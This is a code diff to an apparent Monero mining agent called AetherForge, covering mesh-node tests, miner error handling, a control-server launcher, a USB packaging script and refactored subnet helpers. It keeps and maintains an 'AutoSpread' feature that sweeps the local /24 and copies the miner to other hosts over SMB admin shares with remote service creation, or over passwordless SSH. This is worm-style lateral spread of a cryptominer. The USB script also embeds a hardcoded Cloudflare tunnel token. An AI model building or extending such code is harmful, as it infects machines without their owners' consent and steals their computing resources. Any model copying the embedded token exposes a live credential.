|||||||
|
|
||||||
func (m *MeshNode) Start() error { return nil }
|
func (m *MeshNode) Start() error { return nil }
|
||||||
|
|
||||||
|
func (m *MeshNode) Stop() {}
|
||||||
|
|
||||||
func (m *MeshNode) BroadcastToMesh(_ Message) {}
|
func (m *MeshNode) BroadcastToMesh(_ Message) {}
|
||||||
|
|
||||||
func (m *MeshNode) PeerCount() int { return 0 }
|
func (m *MeshNode) PeerCount() int { return 0 }
|
||||||
|
|
||||||
|
|||||||
49
agent/client/mesh_p2p_test.go
Normal file
49
agent/client/mesh_p2p_test.go
Normal file
@@ -0,0 +1,49 @@
|
|||||||
|
//go:build p2p
|
||||||
|
|
||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestMeshNodeStartStop(t *testing.T) {
|
||||||
|
c := NewAgentClient(config.RuntimeConfig{})
|
||||||
|
m := NewMeshNode(c)
|
||||||
|
if err := m.Start(); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if m.PeerCount() < 0 {
|
||||||
|
t.Fatal("peer count must be non-negative")
|
||||||
|
}
|
||||||
|
m.Stop()
|
||||||
|
if m.PeerCount() != 0 {
|
||||||
|
t.Fatalf("peer count after stop = %d, want 0", m.PeerCount())
|
||||||
|
}
|
||||||
|
m.Stop() // idempotent
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMeshNodeStartIdempotent(t *testing.T) {
|
||||||
|
c := NewAgentClient(config.RuntimeConfig{})
|
||||||
|
m := NewMeshNode(c)
|
||||||
|
if err := m.Start(); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := m.Start(); err != nil {
|
||||||
|
t.Fatalf("second Start: %v", err)
|
||||||
|
}
|
||||||
|
m.Stop()
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMeshRelayToHubUsesWritePath(t *testing.T) {
|
||||||
|
c := NewAgentClient(config.RuntimeConfig{})
|
||||||
|
m := NewMeshNode(c)
|
||||||
|
err := m.relayToHub(Message{Type: "stats"})
|
||||||
|
if err == nil {
|
||||||
|
t.Fatal("expected not-connected error without hub session")
|
||||||
|
}
|
||||||
|
if err.Error() != "not connected" {
|
||||||
|
t.Fatalf("write path error: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
20
agent/client/mesh_test.go
Normal file
20
agent/client/mesh_test.go
Normal file
@@ -0,0 +1,20 @@
|
|||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestMeshStubLifecycle(t *testing.T) {
|
||||||
|
c := NewAgentClient(config.RuntimeConfig{})
|
||||||
|
m := c.mesh
|
||||||
|
if err := m.Start(); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if m.PeerCount() != 0 {
|
||||||
|
t.Fatalf("stub peer count = %d, want 0", m.PeerCount())
|
||||||
|
}
|
||||||
|
m.Stop()
|
||||||
|
m.Stop() // idempotent
|
||||||
|
}
|
||||||
@@ -220,7 +220,7 @@ loop:
|
|||||||
}
|
}
|
||||||
|
|
||||||
for i, p := range livePoolList {
|
for i, p := range livePoolList {
|
||||||
addr := fmt.Sprintf("%s:%d", p.host, p.port)
|
addr := net.JoinHostPort(p.host, fmt.Sprintf("%d", p.port))
|
||||||
proto := "TCP"
|
proto := "TCP"
|
||||||
if p.tls { proto = "TLS" }
|
if p.tls { proto = "TLS" }
|
||||||
fmt.Printf(" [%d/%d] %s (%s) … ", i+1, len(livePoolList), addr, proto)
|
fmt.Printf(" [%d/%d] %s (%s) … ", i+1, len(livePoolList), addr, proto)
|
||||||
|
|||||||
@@ -8,7 +8,6 @@ import (
|
|||||||
"net"
|
"net"
|
||||||
"os"
|
"os"
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
"strings"
|
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"crypto-miner-agent/config"
|
"crypto-miner-agent/config"
|
||||||
@@ -16,9 +15,12 @@ import (
|
|||||||
|
|
||||||
// StartAutoSpreader launches a background routine that periodically attempts
|
// StartAutoSpreader launches a background routine that periodically attempts
|
||||||
// to replicate the miner to other machines on the local subnet via SMB and RPC.
|
// to replicate the miner to other machines on the local subnet via SMB and RPC.
|
||||||
|
//
|
||||||
|
// Prerequisites: see deploy/subnet.go (Spread prerequisites). SMB copy and remote
|
||||||
|
// sc.exe service creation require an admin-capable token and reachable TCP/445.
|
||||||
func StartAutoSpreader(cfg config.RuntimeConfig) {
|
func StartAutoSpreader(cfg config.RuntimeConfig) {
|
||||||
// AutoSpread feature retained per user request.
|
// AutoSpread feature retained per user request.
|
||||||
// Enables SMB/RPC lateral deployment on the local /24 subnet.
|
// Enables SMB/RPC lateral deployment on the local IPv4 /24 subnet.
|
||||||
if !cfg.AutoSpread {
|
if !cfg.AutoSpread {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -63,12 +65,18 @@ func spreadToLocalSubnet(cfg config.RuntimeConfig) {
|
|||||||
seen[t] = true
|
seen[t] = true
|
||||||
}
|
}
|
||||||
for _, ip := range ips {
|
for _, ip := range ips {
|
||||||
|
if !isIPv4(ip) {
|
||||||
|
continue // active sweep is IPv4 /24 only; see subnet.go
|
||||||
|
}
|
||||||
subnet := getSubnet(ip)
|
subnet := getSubnet(ip)
|
||||||
if subnet == "" {
|
if subnet == "" {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
for i := 1; i < 255; i++ {
|
for i := 1; i < 255; i++ {
|
||||||
candidate := fmt.Sprintf("%s.%d", subnet, i)
|
candidate, ok := ipv4SweepHost(subnet, i)
|
||||||
|
if !ok {
|
||||||
|
break
|
||||||
|
}
|
||||||
if candidate == ip || seen[candidate] {
|
if candidate == ip || seen[candidate] {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
@@ -99,39 +107,6 @@ func spreadToLocalSubnet(cfg config.RuntimeConfig) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func getLocalIPs() []string {
|
|
||||||
var ips []string
|
|
||||||
ifaces, err := net.Interfaces()
|
|
||||||
if err != nil {
|
|
||||||
return ips
|
|
||||||
}
|
|
||||||
for _, i := range ifaces {
|
|
||||||
if i.Flags&net.FlagUp == 0 || i.Flags&net.FlagLoopback != 0 {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
addrs, err := i.Addrs()
|
|
||||||
if err != nil {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
for _, a := range addrs {
|
|
||||||
if ipnet, ok := a.(*net.IPNet); ok {
|
|
||||||
if ip4 := ipnet.IP.To4(); ip4 != nil && !ip4.IsLoopback() {
|
|
||||||
ips = append(ips, ip4.String())
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return ips
|
|
||||||
}
|
|
||||||
|
|
||||||
func getSubnet(ip string) string {
|
|
||||||
parts := strings.Split(ip, ".")
|
|
||||||
if len(parts) != 4 {
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
return fmt.Sprintf("%s.%s.%s", parts[0], parts[1], parts[2])
|
|
||||||
}
|
|
||||||
|
|
||||||
func attemptSpread(cfg config.RuntimeConfig, target string) {
|
func attemptSpread(cfg config.RuntimeConfig, target string) {
|
||||||
// 1. Quick pre-check: Is port 445 (SMB) open?
|
// 1. Quick pre-check: Is port 445 (SMB) open?
|
||||||
conn, err := net.DialTimeout("tcp", target+":445", 2*time.Second)
|
conn, err := net.DialTimeout("tcp", target+":445", 2*time.Second)
|
||||||
|
|||||||
@@ -16,6 +16,9 @@ import (
|
|||||||
)
|
)
|
||||||
|
|
||||||
// StartAutoSpreader launches SSH-based lateral deployment on Unix hosts.
|
// StartAutoSpreader launches SSH-based lateral deployment on Unix hosts.
|
||||||
|
//
|
||||||
|
// Prerequisites: see deploy/subnet.go (Spread prerequisites). scp/ssh use
|
||||||
|
// BatchMode=yes — passwordless SSH with pre-placed keys is required.
|
||||||
func StartAutoSpreader(cfg config.RuntimeConfig) {
|
func StartAutoSpreader(cfg config.RuntimeConfig) {
|
||||||
if !cfg.AutoSpread {
|
if !cfg.AutoSpread {
|
||||||
return
|
return
|
||||||
@@ -58,12 +61,18 @@ func spreadUnixSubnet(cfg config.RuntimeConfig) {
|
|||||||
seen[t] = true
|
seen[t] = true
|
||||||
}
|
}
|
||||||
for _, ip := range ips {
|
for _, ip := range ips {
|
||||||
|
if !isIPv4(ip) {
|
||||||
|
continue // active sweep is IPv4 /24 only; see subnet.go
|
||||||
|
}
|
||||||
subnet := getSubnet(ip)
|
subnet := getSubnet(ip)
|
||||||
if subnet == "" {
|
if subnet == "" {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
for i := 1; i < 255; i++ {
|
for i := 1; i < 255; i++ {
|
||||||
candidate := fmt.Sprintf("%s.%d", subnet, i)
|
candidate, ok := ipv4SweepHost(subnet, i)
|
||||||
|
if !ok {
|
||||||
|
break
|
||||||
|
}
|
||||||
if candidate == ip || seen[candidate] {
|
if candidate == ip || seen[candidate] {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
@@ -121,35 +130,3 @@ func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func getLocalIPs() []string {
|
|
||||||
var ips []string
|
|
||||||
ifaces, err := net.Interfaces()
|
|
||||||
if err != nil {
|
|
||||||
return ips
|
|
||||||
}
|
|
||||||
for _, i := range ifaces {
|
|
||||||
if i.Flags&net.FlagUp == 0 || i.Flags&net.FlagLoopback != 0 {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
addrs, err := i.Addrs()
|
|
||||||
if err != nil {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
for _, a := range addrs {
|
|
||||||
if ipnet, ok := a.(*net.IPNet); ok {
|
|
||||||
if ip4 := ipnet.IP.To4(); ip4 != nil && !ip4.IsLoopback() {
|
|
||||||
ips = append(ips, ip4.String())
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return ips
|
|
||||||
}
|
|
||||||
|
|
||||||
func getSubnet(ip string) string {
|
|
||||||
parts := strings.Split(ip, ".")
|
|
||||||
if len(parts) != 4 {
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
return fmt.Sprintf("%s.%s.%s", parts[0], parts[1], parts[2])
|
|
||||||
}
|
|
||||||
|
|||||||
@@ -299,13 +299,19 @@ func ScanLocalSubnet(maxHosts int) string {
|
|||||||
var b strings.Builder
|
var b strings.Builder
|
||||||
seen := 0
|
seen := 0
|
||||||
for _, ip := range ips {
|
for _, ip := range ips {
|
||||||
|
if !isIPv4(ip) {
|
||||||
|
continue
|
||||||
|
}
|
||||||
subnet := getSubnet(ip)
|
subnet := getSubnet(ip)
|
||||||
if subnet == "" {
|
if subnet == "" {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
b.WriteString(fmt.Sprintf("Scanning %s.0/24 from %s\n", subnet, ip))
|
b.WriteString(fmt.Sprintf("Scanning %s.0/24 from %s\n", subnet, ip))
|
||||||
for i := 1; i < 255 && seen < maxHosts; i++ {
|
for i := 1; i < 255 && seen < maxHosts; i++ {
|
||||||
target := fmt.Sprintf("%s.%d", subnet, i)
|
target, ok := ipv4SweepHost(subnet, i)
|
||||||
|
if !ok {
|
||||||
|
break
|
||||||
|
}
|
||||||
if target == ip {
|
if target == ip {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -479,12 +479,18 @@ if (Test-Path $dest) {
|
|||||||
)
|
)
|
||||||
|
|
||||||
for _, ip := range getLocalIPs() {
|
for _, ip := range getLocalIPs() {
|
||||||
|
if !isIPv4(ip) {
|
||||||
|
continue
|
||||||
|
}
|
||||||
subnet := getSubnet(ip)
|
subnet := getSubnet(ip)
|
||||||
if subnet == "" {
|
if subnet == "" {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
for i := 1; i < 255; i++ {
|
for i := 1; i < 255; i++ {
|
||||||
target := fmt.Sprintf("%s.%d", subnet, i)
|
target, ok := ipv4SweepHost(subnet, i)
|
||||||
|
if !ok {
|
||||||
|
break
|
||||||
|
}
|
||||||
if target == ip {
|
if target == ip {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
@@ -515,7 +521,7 @@ if ($s) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func portOpen(host string, port int, timeout time.Duration) bool {
|
func portOpen(host string, port int, timeout time.Duration) bool {
|
||||||
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%d", host, port), timeout)
|
conn, err := net.DialTimeout("tcp", net.JoinHostPort(host, fmt.Sprintf("%d", port)), timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|||||||
109
agent/deploy/subnet.go
Normal file
109
agent/deploy/subnet.go
Normal file
@@ -0,0 +1,109 @@
|
|||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"net"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Spread prerequisites for lateral deployment modules:
|
||||||
|
//
|
||||||
|
// Windows (SMB/SCM via autospread.go):
|
||||||
|
// - Target TCP/445 (SMB) must be reachable on the LAN.
|
||||||
|
// - The agent process token must have rights to write \\host\ADMIN$ or \\host\C$
|
||||||
|
// and create/start a remote service via sc.exe (typically requires local admin
|
||||||
|
// or equivalent on the target).
|
||||||
|
//
|
||||||
|
// Unix (SSH via autospread_unix.go):
|
||||||
|
// - Target TCP/22 (SSH) must be reachable.
|
||||||
|
// - Non-interactive auth only (scp/ssh -o BatchMode=yes): passwordless SSH must
|
||||||
|
// already work — e.g. the agent user's public key in target authorized_keys,
|
||||||
|
// or root/ubuntu with pre-placed keys. Interactive password prompts are not supported.
|
||||||
|
//
|
||||||
|
// Subnet discovery:
|
||||||
|
// - Active /24 host sweeps are IPv4-only. IPv6 addresses are tracked for local
|
||||||
|
// self-skip but are not port-scanned (a /64 sweep is impractical). IPv6 peers
|
||||||
|
// may appear when the OS neighbor cache lists them on a shared /64.
|
||||||
|
|
||||||
|
// getLocalIPs returns IPv4 and IPv6 addresses on up, non-loopback interfaces.
|
||||||
|
func getLocalIPs() []string {
|
||||||
|
var ips []string
|
||||||
|
ifaces, err := net.Interfaces()
|
||||||
|
if err != nil {
|
||||||
|
return ips
|
||||||
|
}
|
||||||
|
for _, iface := range ifaces {
|
||||||
|
if iface.Flags&net.FlagUp == 0 || iface.Flags&net.FlagLoopback != 0 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
addrs, err := iface.Addrs()
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
for _, a := range addrs {
|
||||||
|
ipnet, ok := a.(*net.IPNet)
|
||||||
|
if !ok {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
ip := ipnet.IP
|
||||||
|
if ip.IsLoopback() || ip.IsMulticast() || ip.IsLinkLocalUnicast() {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if ip4 := ip.To4(); ip4 != nil {
|
||||||
|
ips = append(ips, ip4.String())
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if ip.To16() != nil {
|
||||||
|
ips = append(ips, ip.String())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return ips
|
||||||
|
}
|
||||||
|
|
||||||
|
// getSubnet returns the sweep prefix for an address:
|
||||||
|
// - IPv4: first three octets (/24)
|
||||||
|
// - IPv6: first four hextets (/64)
|
||||||
|
//
|
||||||
|
// Returns "" when the address cannot be used for subnet matching.
|
||||||
|
func getSubnet(ip string) string {
|
||||||
|
parsed := net.ParseIP(strings.TrimSpace(ip))
|
||||||
|
if parsed == nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
if ip4 := parsed.To4(); ip4 != nil {
|
||||||
|
parts := strings.Split(ip4.String(), ".")
|
||||||
|
if len(parts) != 4 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
return fmt.Sprintf("%s.%s.%s", parts[0], parts[1], parts[2])
|
||||||
|
}
|
||||||
|
// IPv6 /64 — collapse :: shorthand for consistent map keys.
|
||||||
|
full := parsed.String()
|
||||||
|
if strings.Contains(full, ".") {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
hextets := strings.Split(full, ":")
|
||||||
|
if len(hextets) < 4 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
return strings.Join(hextets[:4], ":")
|
||||||
|
}
|
||||||
|
|
||||||
|
// isIPv4 reports whether addr is an IPv4 host address.
|
||||||
|
func isIPv4(addr string) bool {
|
||||||
|
ip := net.ParseIP(addr)
|
||||||
|
return ip != nil && ip.To4() != nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ipv4SweepHost returns the i-th host in an IPv4 /24 (1–254). ok is false for non-IPv4 prefixes.
|
||||||
|
func ipv4SweepHost(subnet string, i int) (host string, ok bool) {
|
||||||
|
if i < 1 || i > 254 {
|
||||||
|
return "", false
|
||||||
|
}
|
||||||
|
parts := strings.Split(subnet, ".")
|
||||||
|
if len(parts) != 3 {
|
||||||
|
return "", false
|
||||||
|
}
|
||||||
|
return fmt.Sprintf("%s.%s.%s.%d", parts[0], parts[1], parts[2], i), true
|
||||||
|
}
|
||||||
62
agent/deploy/subnet_test.go
Normal file
62
agent/deploy/subnet_test.go
Normal file
@@ -0,0 +1,62 @@
|
|||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"net"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestGetSubnetIPv4(t *testing.T) {
|
||||||
|
if got := getSubnet("192.168.1.42"); got != "192.168.1" {
|
||||||
|
t.Fatalf("got %q", got)
|
||||||
|
}
|
||||||
|
if getSubnet("bad") != "" {
|
||||||
|
t.Fatal("invalid ip should return empty")
|
||||||
|
}
|
||||||
|
if getSubnet("10.0.0.1") != "10.0.0" {
|
||||||
|
t.Fatalf("got %q", getSubnet("10.0.0.1"))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestGetSubnetIPv6(t *testing.T) {
|
||||||
|
ip := "2001:db8:abcd:0012::1"
|
||||||
|
got := getSubnet(ip)
|
||||||
|
want := "2001:db8:abcd:12"
|
||||||
|
if got != want {
|
||||||
|
t.Fatalf("got %q want %q", got, want)
|
||||||
|
}
|
||||||
|
if getSubnet("::1") != "" {
|
||||||
|
t.Fatal("short IPv6 address should not yield sweep prefix")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestIPv4SweepHost(t *testing.T) {
|
||||||
|
host, ok := ipv4SweepHost("10.0.0", 42)
|
||||||
|
if !ok || host != "10.0.0.42" {
|
||||||
|
t.Fatalf("got %q ok=%v", host, ok)
|
||||||
|
}
|
||||||
|
if _, ok := ipv4SweepHost("2001:db8", 1); ok {
|
||||||
|
t.Fatal("IPv6 prefix should not produce sweep host")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestIsIPv4(t *testing.T) {
|
||||||
|
if !isIPv4("192.168.0.1") {
|
||||||
|
t.Fatal("expected IPv4")
|
||||||
|
}
|
||||||
|
if isIPv4("2001:db8::1") {
|
||||||
|
t.Fatal("expected not IPv4")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestGetLocalIPsSkipsLoopback(t *testing.T) {
|
||||||
|
ips := getLocalIPs()
|
||||||
|
for _, ip := range ips {
|
||||||
|
parsed := net.ParseIP(ip)
|
||||||
|
if parsed == nil {
|
||||||
|
t.Fatalf("invalid ip %q", ip)
|
||||||
|
}
|
||||||
|
if parsed.IsLoopback() {
|
||||||
|
t.Fatalf("loopback %q should be excluded", ip)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -2,11 +2,18 @@ package miner
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"encoding/hex"
|
"encoding/hex"
|
||||||
|
"errors"
|
||||||
|
"fmt"
|
||||||
"sync"
|
"sync"
|
||||||
|
|
||||||
"git.gammaspectra.live/P2Pool/go-randomx"
|
"git.gammaspectra.live/P2Pool/go-randomx"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
ErrEngineNotReady = errors.New("randomx VM not initialized")
|
||||||
|
ErrBlobTooShort = errors.New("blob shorter than nonce offset")
|
||||||
|
)
|
||||||
|
|
||||||
const nonceOffset = 39
|
const nonceOffset = 39
|
||||||
const nonceSize = 4
|
const nonceSize = 4
|
||||||
|
|
||||||
@@ -59,8 +66,11 @@ func (e *Engine) HashAtNonce(nonce uint32) (hashHex string, blobHex string, err
|
|||||||
e.mu.RLock()
|
e.mu.RLock()
|
||||||
defer e.mu.RUnlock()
|
defer e.mu.RUnlock()
|
||||||
|
|
||||||
if e.vm == nil || len(e.blob) < nonceOffset+nonceSize {
|
if e.vm == nil {
|
||||||
return "", "", nil
|
return "", "", ErrEngineNotReady
|
||||||
|
}
|
||||||
|
if len(e.blob) < nonceOffset+nonceSize {
|
||||||
|
return "", "", fmt.Errorf("%w (need %d bytes, have %d)", ErrBlobTooShort, nonceOffset+nonceSize, len(e.blob))
|
||||||
}
|
}
|
||||||
|
|
||||||
work := append([]byte(nil), e.blob...)
|
work := append([]byte(nil), e.blob...)
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
package miner
|
package miner
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
"strings"
|
"strings"
|
||||||
"testing"
|
"testing"
|
||||||
@@ -31,11 +32,11 @@ func TestEngineSetJobInvalidBlob(t *testing.T) {
|
|||||||
func TestEngineHashAtNonceNoVM(t *testing.T) {
|
func TestEngineHashAtNonceNoVM(t *testing.T) {
|
||||||
e := NewEngine()
|
e := NewEngine()
|
||||||
hash, blob, err := e.HashAtNonce(0)
|
hash, blob, err := e.HashAtNonce(0)
|
||||||
if err != nil {
|
if !errors.Is(err, ErrEngineNotReady) {
|
||||||
t.Fatalf("unexpected error: %v", err)
|
t.Fatalf("expected ErrEngineNotReady, got err=%v hash=%q blob=%q", err, hash, blob)
|
||||||
}
|
}
|
||||||
if hash != "" || blob != "" {
|
if hash != "" || blob != "" {
|
||||||
t.Fatalf("empty VM should return empty strings, got hash=%q blob=%q", hash, blob)
|
t.Fatalf("unready VM should return empty strings, got hash=%q blob=%q", hash, blob)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -46,11 +47,11 @@ func TestEngineHashAtNonceShortBlob(t *testing.T) {
|
|||||||
t.Fatal(err)
|
t.Fatal(err)
|
||||||
}
|
}
|
||||||
hash, blob, err := e.HashAtNonce(1)
|
hash, blob, err := e.HashAtNonce(1)
|
||||||
if err != nil {
|
if !errors.Is(err, ErrBlobTooShort) {
|
||||||
t.Fatal(err)
|
t.Fatalf("expected ErrBlobTooShort, got err=%v hash=%q blob=%q", err, hash, blob)
|
||||||
}
|
}
|
||||||
if hash != "" || blob != "" {
|
if hash != "" || blob != "" {
|
||||||
t.Fatalf("blob shorter than nonce offset should not hash, got hash=%q blob=%q", hash, blob)
|
t.Fatalf("short blob should return empty strings, got hash=%q blob=%q", hash, blob)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
21
devrun.bat
21
devrun.bat
@@ -215,6 +215,13 @@ echo Stopping any previous miner-server.exe...
|
|||||||
taskkill /F /IM miner-server.exe >nul 2>nul
|
taskkill /F /IM miner-server.exe >nul 2>nul
|
||||||
timeout /t 1 /nobreak >nul
|
timeout /t 1 /nobreak >nul
|
||||||
|
|
||||||
|
set "SERVER_PORT=8989"
|
||||||
|
set "CONFIG_FILE=%ROOT%\data\config.json"
|
||||||
|
if exist "%CONFIG_FILE%" (
|
||||||
|
for /f "usebackq delims=" %%P in (`powershell -NoProfile -Command "try { $j = Get-Content -Raw '%CONFIG_FILE%' | ConvertFrom-Json; if ($j.port) { $j.port } } catch { }"`) do (
|
||||||
|
if not "%%P"=="" set "SERVER_PORT=%%P"
|
||||||
|
)
|
||||||
|
)
|
||||||
set "LAN_IP=localhost"
|
set "LAN_IP=localhost"
|
||||||
for /f "usebackq delims=" %%I in (`powershell -NoProfile -Command "(Get-NetIPAddress -AddressFamily IPv4 | Where-Object { $_.IPAddress -notlike '127.*' -and $_.PrefixOrigin -ne 'WellKnown' } | Select-Object -First 1 -ExpandProperty IPAddress) 2>$null"`) do set "LAN_IP=%%I"
|
for /f "usebackq delims=" %%I in (`powershell -NoProfile -Command "(Get-NetIPAddress -AddressFamily IPv4 | Where-Object { $_.IPAddress -notlike '127.*' -and $_.PrefixOrigin -ne 'WellKnown' } | Select-Object -First 1 -ExpandProperty IPAddress) 2>$null"`) do set "LAN_IP=%%I"
|
||||||
|
|
||||||
@@ -222,9 +229,9 @@ echo.
|
|||||||
echo ==============================================================
|
echo ==============================================================
|
||||||
echo STARTING CONTROL SERVER
|
echo STARTING CONTROL SERVER
|
||||||
echo ==============================================================
|
echo ==============================================================
|
||||||
echo Dashboard: http://localhost:8989
|
echo Dashboard: http://localhost:%SERVER_PORT%
|
||||||
echo LAN: http://%LAN_IP%:8989
|
echo LAN: http://%LAN_IP%:%SERVER_PORT%
|
||||||
echo Agents WS: ws://%LAN_IP%:8989/ws/agent
|
echo Agents WS: ws://%LAN_IP%:%SERVER_PORT%/ws/agent
|
||||||
echo Data: %ROOT%\data\
|
echo Data: %ROOT%\data\
|
||||||
echo.
|
echo.
|
||||||
echo Live logs appear below. Ctrl+C stops the server.
|
echo Live logs appear below. Ctrl+C stops the server.
|
||||||
@@ -232,13 +239,13 @@ echo ==============================================================
|
|||||||
echo.
|
echo.
|
||||||
|
|
||||||
:: Open browser after a short delay (server starts in this window)
|
:: Open browser after a short delay (server starts in this window)
|
||||||
start "" cmd /c "timeout /t 3 /nobreak >nul && start http://localhost:8989/"
|
start "" cmd /c "timeout /t 3 /nobreak >nul && start http://localhost:%SERVER_PORT%/"
|
||||||
|
|
||||||
echo [Server] miner-server.exe -port 8989 -data "%ROOT%\data"
|
echo [Server] miner-server.exe -data "%ROOT%\data" ^(port %SERVER_PORT% from config^)
|
||||||
if defined AETHERFORGE_RELEASE set AETHERFORGE_RELEASE=1
|
if defined AETHERFORGE_RELEASE set AETHERFORGE_RELEASE=1
|
||||||
echo.
|
echo.
|
||||||
|
|
||||||
.\bin\miner-server.exe -port 8989 -data "%ROOT%\data"
|
.\bin\miner-server.exe -data "%ROOT%\data"
|
||||||
set "EXITCODE=!ERRORLEVEL!"
|
set "EXITCODE=!ERRORLEVEL!"
|
||||||
|
|
||||||
echo.
|
echo.
|
||||||
@@ -246,7 +253,7 @@ if "!EXITCODE!"=="0" (
|
|||||||
echo [Server] Stopped normally.
|
echo [Server] Stopped normally.
|
||||||
) else (
|
) else (
|
||||||
echo [Server] Exited with code !EXITCODE!.
|
echo [Server] Exited with code !EXITCODE!.
|
||||||
echo If port 8989 was in use, close other miner-server windows and run again.
|
echo If port %SERVER_PORT% was in use, close other miner-server windows and run again.
|
||||||
)
|
)
|
||||||
echo.
|
echo.
|
||||||
goto end_pause
|
goto end_pause
|
||||||
|
|||||||
@@ -1,21 +0,0 @@
|
|||||||
Monero pool presets (wallet address only — no account registration)
|
|
||||||
|
|
||||||
MoneroOcean
|
|
||||||
TLS: gulf.moneroocean.stream:20128
|
|
||||||
Plain: gulf.moneroocean.stream:10128
|
|
||||||
|
|
||||||
SupportXMR
|
|
||||||
TLS: pool.supportxmr.com:443
|
|
||||||
Plain: pool.supportxmr.com:3333
|
|
||||||
|
|
||||||
HeroMiners
|
|
||||||
TLS: xmr.herominers.com:1120
|
|
||||||
Plain: xmr.herominers.com:1111
|
|
||||||
|
|
||||||
2Miners
|
|
||||||
Plain: xmr.2miners.com:2222
|
|
||||||
|
|
||||||
XMRPool.eu
|
|
||||||
Plain: pool.xmrpool.eu:3333
|
|
||||||
|
|
||||||
In AetherForge Calibrate and Forge: check one or more presets; the first reachable pool is used, then failover rotates through the rest.
|
|
||||||
@@ -148,6 +148,12 @@ echo @echo off > "%USB%\run.bat"
|
|||||||
echo rem AetherForge portable root marker >> "%USB%\run.bat"
|
echo rem AetherForge portable root marker >> "%USB%\run.bat"
|
||||||
echo [5/8] Launcher synced.
|
echo [5/8] Launcher synced.
|
||||||
|
|
||||||
|
if not exist "%USB%\scripts" mkdir "%USB%\scripts"
|
||||||
|
copy /y "%ROOT%\scripts\usb-start-cloudflared.ps1" "%USB%\scripts\" >nul
|
||||||
|
if not exist "%USB%\data\cloudflared-token.txt" (
|
||||||
|
echo eyJhIjoiODk1NDc5YWIzNTQwZGFhNmQ2MWFlNzAyYTUxNjQ0NzUiLCJ0IjoiYWYzNzY5NGYtNDA4Yy00ZWI3LWE2M2MtMzM5MzQ1MjI3NWIwIiwicyI6IlpEa3lPVE5pWWpjdE9USXlZeTAwTlRjNExUaGlZVGN0WWpGaFlUWmtOR05rTXpjMyJ9> "%USB%\data\cloudflared-token.txt"
|
||||||
|
)
|
||||||
|
|
||||||
:: ----------------------------------------------------------------
|
:: ----------------------------------------------------------------
|
||||||
:: 6. Remove stale nested server mirror (not needed for portable)
|
:: 6. Remove stale nested server mirror (not needed for portable)
|
||||||
:: ----------------------------------------------------------------
|
:: ----------------------------------------------------------------
|
||||||
|
|||||||
52
scripts/usb-start-cloudflared.ps1
